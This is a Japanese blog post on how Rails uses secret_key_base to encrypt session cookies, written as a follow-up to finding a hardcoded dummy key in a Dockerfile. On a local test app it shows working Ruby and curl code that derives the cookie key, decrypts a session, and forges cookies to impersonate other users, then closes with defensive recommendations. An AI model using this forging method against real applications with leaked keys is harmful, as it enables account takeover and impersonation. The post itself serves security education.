社内でRailsコードのレビューをしていて、 Dockerfile
に環境変数で SECRET_KEY_BASE="dummy"
のようにベタ書きしているのを見つけました。これはまずいよね、多分任意のセッション改ざんによるなりすましなどがし放題になりそうだよね、と思ったものの、これまで雰囲気で使っていて確かなことが言えなかったので、良い機会ということで少し調べてみることにしました。
🔗 secret_key_baseについて
🔗 secrets と credentials, RAILS_MASTER_KEY ってなんだっけ
🔗 secrets
Rails 4.1で secrets.yml
が登場して、environmentごとの認証情報を平文で保存していました。その後Rails 5.2で secrets.yml.enc
が登場して、 RAILS_MASTER_KEY
または secrets.yml.key
で暗号化するようになりました。どちらの場合でも Rails.application.secrets
で取得できます。
Rails 5.2以降では credentials.yml.enc
を使うことになっていて、Rails 7.2で互換対応も消されるそうなので、今となっては忘れて良い存在です。
🔗 credentials
secretsを置き換える形で、Rails 5.2で登場しました。チュートリアルにも当然乗っているやつですね。secrets.yml.enc
と似たような仕組みですが、本番環境用なのでenvironmentごとの分岐書式がないほか、取得の方法が Rails.application.credentials
になっています。
rails new
すると、 config/credentials.yml.enc
と config/master.key
が生成されていると思います。 credentials.yml.enc
が暗号化された認証情報で、 master.key
がそれの暗号鍵です。 master.key
はgitignoreされており、リポジトリでは共有せず機密情報として別途管理することになります。
(rails new
に使ったRailsバージョン: 7.1.3.2)
bin/rails credentials:edit
コマンドは、 config/master.key
ファイルまたは RAILS_MASTER_KEY
環境変数で指定された鍵を使って credentials.yml.enc
を復号して編集し、暗号化して保存するのに使います。
手元でrails new
した環境では、 credentials:edit
したところ以下のようなYAMLでした。 secret_key_base
が自動生成されていることが確認できます。(実際のアプリでの結果をこのように晒してはいけません)
# aws:
# access_key_id: 123
# secret_access_key: 345
# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: 054221cfea6eb4087a101175de7dce6116d99ca28d2dae9e4928cab4eda3c4f561ecffbe56fe2e21c7f3c6f371fc1789ecf9417a0b1333dd98bd98ba2edde371
🔗 secret_key_base の取得方法
基本的な取り方は以下のようになります。
# 現在のenvironmentに応じた、実際に使われる値が取得できる(通常はこれを使う)
Rails.application.secret_key_base
# environmentに関係なく、credentials.yml.encに格納されている値が取得できる
Rails.application.credentials.secret_key_base
Rails::Application#secret_key_base
の定義を見てみると、以下のようになっています。
🔗 local(development, test)環境、または SECRET_KEY_BASE_DUMMY
環境変数がセットされている場合
generate_local_secret
で、以下の優先順位で採用されます。
tmp/local_secret.txt
に記載されている値Rails.application.secrets.secret_key_base
の値(現在は非推奨のsecrets.yml
で設定)SecureRandom.hex(64)
でランダム生成(この場合、生成された値がtmp/local_secret.txt
に平文で保存される)
つまり、実質的には初回起動時のランダム生成でtmp/local_secret.txtに平文保存となります。
🔗 production 環境の場合
以下の優先順位で採用されます。
SECRET_KEY_BASE
環境変数の値Rails.application.credentials.secret_key_base
の値(credentials.yml.enc
で設定)Rails.application.secrets.secret_key_base
の値(DEPRECATED, 7.2で削除予定)
プロジェクトによって、環境変数で指定しているケースも、credentials.yml.encで指定しているケースもあると思います。
🔗 SECRET_KEY_BASE_DUMMY って何
SECRET_KEY_BASE_DUMMY
環境変数を指定すると、productionの環境でも、localと同じように tmp/local_secrets.txt
を secret_key_base
として使うようになります。Dockerfile内で assets:precompile
を実行するときに RAILS_MASTER_KEY
を渡したくない、しかし渡さないとエラーになる、といった問題を解消します。
production以外で指定しても特に意味はありません。また当然ですが、間違っても secret_key_base
が使われるようなタスクで指定してはいけません。
🔗 どうやって指定すべき?
SECRET_KEY_BASE
を環境変数で指定するか、それとも credentials.yml.enc
で指定するか、どちらが良いかはプロジェクトの方針次第だと思います。
個人的には credentials.enc.yml
があまり好きではなく、AWS Systems Manager Parameter StoreのSecure Stringに SECRET_KEY_BASE
の値を直接入れるほうが好きです。
🔗 secret_key_base の使われ方を調べて、漏洩したらどうなるのかを試してみる
ドキュメントによると
The
secret_key_base
is used as the input secret to the application’s key generator, which in turn is used to create allActiveSupport::MessageVerifier
andActiveSupport::MessageEncryptor
instances, including the ones that sign and encrypt cookies.
とあるので、わかりやすいCookieを具体的に見てみます。
🔗 想定するWebアプリ
実験のために、以下のようなRailsアプリを用意します。アプリ名は安直に secretkey
としてみました。
本来、sign_inのアクションを経由してしか session[:user_id]
はセットできてはいけませんし、sessionの中身をユーザが見ることもできないはずです。例ではパスワードを検証していませんが、実際のWebアプリでもセッションストアとしてCookieを使うのであれば本質的には似たような仕組みになっていると思います。
- app/controllers/users_controller.rb
class UsersController < ApplicationController
def index
@user_id = session[:user_id]
end
def sign_in
# 本来はここで params[:password] を検証してユーザ認証する
session[:user_id] = 1
redirect_to root_path
end
def sign_out
session.delete(:user_id)
redirect_to root_path
end
end
- app/views/users/index.html.erb
<p>current user id: <%= @user_id %></p>
<p><a href="./sign_in">sign in</a> <a href="./sign_out">sign out</a></p>
- config/routes.rb
Rails.application.routes.draw do
root 'users#index'
get 'sign_in', to: 'users#sign_in'
get 'sign_out', to: 'users#sign_out'
end
また tmp/local_secret.txt
は以下のとおりです。
a4e365520aee6c853f63b5dc241d76589a4b32fce20938762031d33dc52a5fef3e9485f7768b1d05ab3c47b1d0415eea29817b00c3d75e006b3e648d1991b746
🔗 コードを読む
🔗 Cookie処理の場所
まずはsession storeを確認してみます。
irb(main):001> Rails.application.config.session_store
=> ActionDispatch::Session::CookieStore
デフォルトはやはりCookieStoreです。actionpack/lib/action_dispatch/middleware/session/cookie_store.rbを見ると、 signed_or_encrypted
を使っています。
※随所で request.xxx
が参照されていますが、これは実際にHTTPリクエストヘッダにセットされているわけではなく、設定値をRack Middleware層で使うためにRails.application#env_configでコピーしているようなものなので、深く考えなくて良さそうです。
actionpack/lib/action_dispatch/middleware/cookies.rbの signed_or_encrypted
の定義によると、 secret_key_base
が存在すれば encrypted
で、存在しなければ signed
が使われるとあります。コードを流し読んだ限りでは通常encryptの方に流れると思うので、そちらを追いかけることにして EncryptedKeyRotatingCookieJar
を読んでみます。
🔗 @encryptor
の初期化
Rails.application.config.action_dispatch.use_authenticated_cookie_encryption
はtrueだったので、 @encryptor
は以下のコードで初期化されます。
key_len = ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
secret = request.key_generator.generate_key(request.authenticated_encrypted_cookie_salt, key_len)
@encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: encrypted_cookie_cipher, serializer: SERIALIZER)
encrypted_cookie_cipher
は"aes-256-gcm"
なので、key_len
は32になります。authenticated_encrypted_cookie_salt
は特別に設定していなければ初期値が使われて"authenticated encrypted cookie"
になります。key_generator
はActiveSupport::CachingKeyGenerator
が使用され、イニシャライザにsecret_key_base
の値が渡されます。
これらのことから ActiveSupport::KeyGenerator#generate_key
で生成される secret
は以下のようになります。
# @secret: secret_key_base の値
# salt: "authenticated encrypted cookie"
# @iterations: 1000 (Rails::Application#key_generatorでハードコーディングされた値)
# key_size: 32 (EncryptedKeyRotatingCookieJarから渡す引数)
# @hash_digest_class: OpenSSL::Digest::SHA256 (Rails.application.config.active_support.hash_digest_classの値)
OpenSSL::PKCS5.pbkdf2_hmac(@secret, salt, @iterations, key_size, @hash_digest_class.new)
よって @encryptor
は以下のような内容で初期化されていることになります。
ActiveSupport::MessageEncryptor.new(
"上記のgenerate_keyで生成されたsecret",
cipher: "aes-256-gcm",
serializer: ActiveSupport::MessageEncryptor::NullSerializer
)
このあとrotateが行われそうですが、一旦そこは無視してみます。
ということで、ドキュメントに書いてあるとおりですが、 secret_key_base
はセッションストア内部で使われている ActiveSupport::MessageEncryptor
のイニシャライザ第1引数であるsecretを生成する種になっていることがわかりました。
🔗 実験してみる
🔗 secret値の生成
前述のパラメータを元に、MessageEncryptor
に渡す secret
を生成してみます。これはRails consoleではなくirbでも実行可能です。
require 'openssl'
secret_key_base = "a4e365520aee6c853f63b5dc241d76589a4b32fce20938762031d33dc52a5fef3e9485f7768b1d05ab3c47b1d0415eea29817b00c3d75e006b3e648d1991b746"
OpenSSL::PKCS5.pbkdf2_hmac(secret_key_base, "authenticated encrypted cookie", 1000, 32, OpenSSL::Digest::SHA256.new)
=> "&\xD2*\xE8xaO\xD1\xB1\x1A\x19\x95\x910Qm\x8F4\x10\xB2\xAF\x87#\xDE\x87O1\xA1O`\xF5\xA3"
結果が得られました。これは secret_key_base
(と通常はデフォルト値が主流であろうsalt)が同じなら再現性がありそうです。
🔗 実際のセッションCookieをdecryptしてみる
bin/rails s
でWebアプリを起動し、ブラウザで「sign in」をクリックして session[:user_id]
に1が格納された状態にします。このときCookieの _secretkey_session
の値は以下のようになっていました(これは毎回変わります)。
yQvbWuupBieOSt6MtKBQQYWBlXPm1e2s1abtm8Ve7Z0wFk3mC7jg%2FM54lHM9e1ImmWJeLpTyfmEbqFxTYcE2EGgZo0g5IfvdFNtL9o5Yay2Ef42zQupfiRgz2OK8EZEIFuixPZWKaT5NrnoLFls7j6s6jGz9ayY9VbqVTWt%2BGZglZaWZYT9sKKrFknV8WHbekkeYor2vzBUrV1bmP9Daqb8KAdHe0V8iYq46AgYO%2BgQZVUe4rvdiyQpfDqct8chtHamwfMKyarWjZFAGMYFp%2FbsdNlX1Kx6nIDFgkYV8oPHVv5updB6DuVWg--qu%2B70fa%2BFJSgRqVv--wnTA%2FhlLS%2BvlVmWgFD7TuA%3D%3D
復号処理はActiveSupport::MessageEncryptor#decrypt_and_verify
で行われますが、エラーが握りつぶされて見づらいので read_message
を直接使ってみます。
secret = "&\xD2*\xE8xaO\xD1\xB1\x1A\x19\x95\x910Qm\x8F4\x10\xB2\xAF\x87#\xDE\x87O1\xA1O`\xF5\xA3"
cookie = "yQvbWuupBieOSt6MtKBQQYWBlXPm1e2s1abtm8Ve7Z0wFk3mC7jg%2FM54lHM9e1ImmWJeLpTyfmEbqFxTYcE2EGgZo0g5IfvdFNtL9o5Yay2Ef42zQupfiRgz2OK8EZEIFuixPZWKaT5NrnoLFls7j6s6jGz9ayY9VbqVTWt%2BGZglZaWZYT9sKKrFknV8WHbekkeYor2vzBUrV1bmP9Daqb8KAdHe0V8iYq46AgYO%2BgQZVUe4rvdiyQpfDqct8chtHamwfMKyarWjZFAGMYFp%2FbsdNlX1Kx6nIDFgkYV8oPHVv5updB6DuVWg--qu%2B70fa%2BFJSgRqVv--wnTA%2FhlLS%2BvlVmWgFD7TuA%3D%3D"
encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: ActiveSupport::MessageEncryptor::NullSerializer)
encryptor.read_message(URI.decode_uri_component(cookie), purpose: 'cookie._secretkey_session')
=> "{\"session_id\":\"8b7e24e77ea1073465a8cb6b862d0ef8\",\"_csrf_token\":\"CRI6N_hM6Mx8Ku9P1iW5-5PIKVJPBh2RO38RVJ0pBRg\",\"user_id\":1}"
セッションの中身が取得できました。
🔗 セッションを偽装してみる
本題です。Webアプリを通さずに、セッションの中身を改ざんできるか見てみます。
まずはRails consoleから。
secret = "&\xD2*\xE8xaO\xD1\xB1\x1A\x19\x95\x910Qm\x8F4\x10\xB2\xAF\x87#\xDE\x87O1\xA1O`\xF5\xA3"
encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: ActiveSupport::MessageEncryptor::NullSerializer)
URI.encode_www_form_component(@encryptor.create_message({session_id:'hoge',user_id:2}.to_json))
=> "MesHMVG7oC%2BXcs5biX2YdIsPejtuR1%2FHuHrB6ERi0LiS--uzhaR%2FNEMk7DEuzq--RhwV9muGE6dU6vghW8V4LQ%3D%3D"
生成できました。これをブラウザにセットするかcurlで叩いてみます。
curl -H "Cookie: _secretkey_session=MesHMVG7oC%2BXcs5biX2YdIsPejtuR1%2FHuHrB6ERi0LiS--uzhaR%2FNEMk7DEuzq--RhwV9muGE6dU6vghW8V4LQ%3D%3D" http://localhost:3000
あっさりと "current user id: 2" が表示されました。
🔗 irbで試す
Rails consoleでうまく行っても、裏で実は認証情報を見ていたとかではつまらないので、念のためにirbで試してみます。要は ActiveSupport::MessageEncryptor#create_message
と同じことをすれば良いので
def create_message(value, **options) # :nodoc:
sign(encrypt(serialize_with_metadata(value, **options)))
end
serialize_with_metadata
は実質何もしていないencrypt
はopensslで地道にsign
は試した範囲ではなくても動く
ということでゴリゴリやってみます。このコードでは、 secret_key_base
以外、環境固有のことは何も書いていません。
require 'openssl'
require 'base64'
require 'json'
require 'uri'
secret_key_base = "a4e365520aee6c853f63b5dc241d76589a4b32fce20938762031d33dc52a5fef3e9485f7768b1d05ab3c47b1d0415eea29817b00c3d75e006b3e648d1991b746"
data = { session_id: 'hoge', user_id: 3 }.to_json
secret = OpenSSL::PKCS5.pbkdf2_hmac(secret_key_base, "authenticated encrypted cookie", 1000, 32, OpenSSL::Digest::SHA256.new)
cipher = OpenSSL::Cipher.new("aes-256-gcm")
cipher.encrypt
cipher.key = secret
iv = cipher.random_iv
cipher.auth_data = ""
encrypted_data = cipher.update(data)
encrypted_data << cipher.final
parts = [encrypted_data, iv, cipher.auth_tag(16)]
encrypted = parts.map { |part| Base64.strict_encode64(part) }.join('--')
puts URI.encode_www_form_component(encrypted)
# => %2BTLMNRX7ggYjE9c4YSGmybYOpY3wU%2Bdhw9%2F2dmZdl0%2FT--rvG0LaP0Lj80s0mB--Lx58XkRMJjxwe4LrHKVdyA%3D%3D
文字列が生成されました。これをまたブラウザにセットするかcurlで叩いてみます。
ばっちり「current user id: 3」が出力されました。
🔗 production環境で試してみる
RAILS_ENV=production bin/rails s -b 0.0.0.0
で起動し(config.force_sslはOFF)て試してみます。
tmp/local_secret.txt
の内容では認証されないのは当然として、 bin/rails credentials:edit
で入手した本番用の secret_key_base
で試すと、developmentと同じようにセッションの値を書き換えられることが確認できます。
🔗 まとめ
secret_key_base
があれば、Cookieのセッション値を自由に改ざんできることが確認できました。まあそうですよね、といったところですが、rotateとかsignとかコード中に色々あったからもう少しくらい多段防御的な仕組みあるかもと思ったら、意外とないですね。何か設定をいじれば多少変わるかもしれませんが、いずれにせよマスターキー相当が漏れたら大した意味はなさそうです。
また、 secret_key_base
が "dummy"
のように明らかに危険で文字数が足りない場合でも、特にエラーが出ないことは注意が必要だと思いました。空文字でもエラーにならず黙ってsignedにフォールバックする(ユーザに情報が露出する)ようで、フェールセーフ感はあまりありません。productionで SECRET_KEY_BASE
を環境変数経由で渡すことにしている場合、万一何らかの事故で渡らなかったら即エラーになるように、デフォルト値をnilにするなど工夫したほうが安全そうです。開発初期に「とりあえずassets:precompile通るDockerfile」を作っておいて、それをproductionに流用し、本番サーバ設置するときにちゃんとしようと思って忘れる、とかならないように...
セッションストアにCookieStoreを使っているシステムにおいて、セッション値を任意に書き換えられるということは、一般的に「なんでもできる」を意味します。管理者を含む任意のユーザになりすませますし、MFAがあろうと関係ありません。secretなので漏れてはダメなのは当然ですが、特に慎重に扱う必要があります。
高いセキュリティが求められるシステムでは、CookieStoreではなくredis等のバックエンドにセッションを保存し、CookieにはセッションIDだけを含めることは検討すべきだと思います。CookieStoreだと特定ユーザを強制ログアウトさせることができない(OWASP TOP 10 2021の観点でも問題)といった問題もあり、実装がお手軽でスケーラビリティが高いのはメリットですが、セキュリティレベルを高くしにくいことは意識が必要ですね。セッションストアさえ他のものにしておけば、 MessageEncryptor
を使うケースは相当絞られるので、あとはアプリケーションごとの特性に応じて個別にキーのローテーションなどを考えていけば良さそうです。
全体としては当初予想の範囲内ではありましたが、secret_key_base
は雑にやっちゃだめだよ、ということについて、より実感を持って理解できました。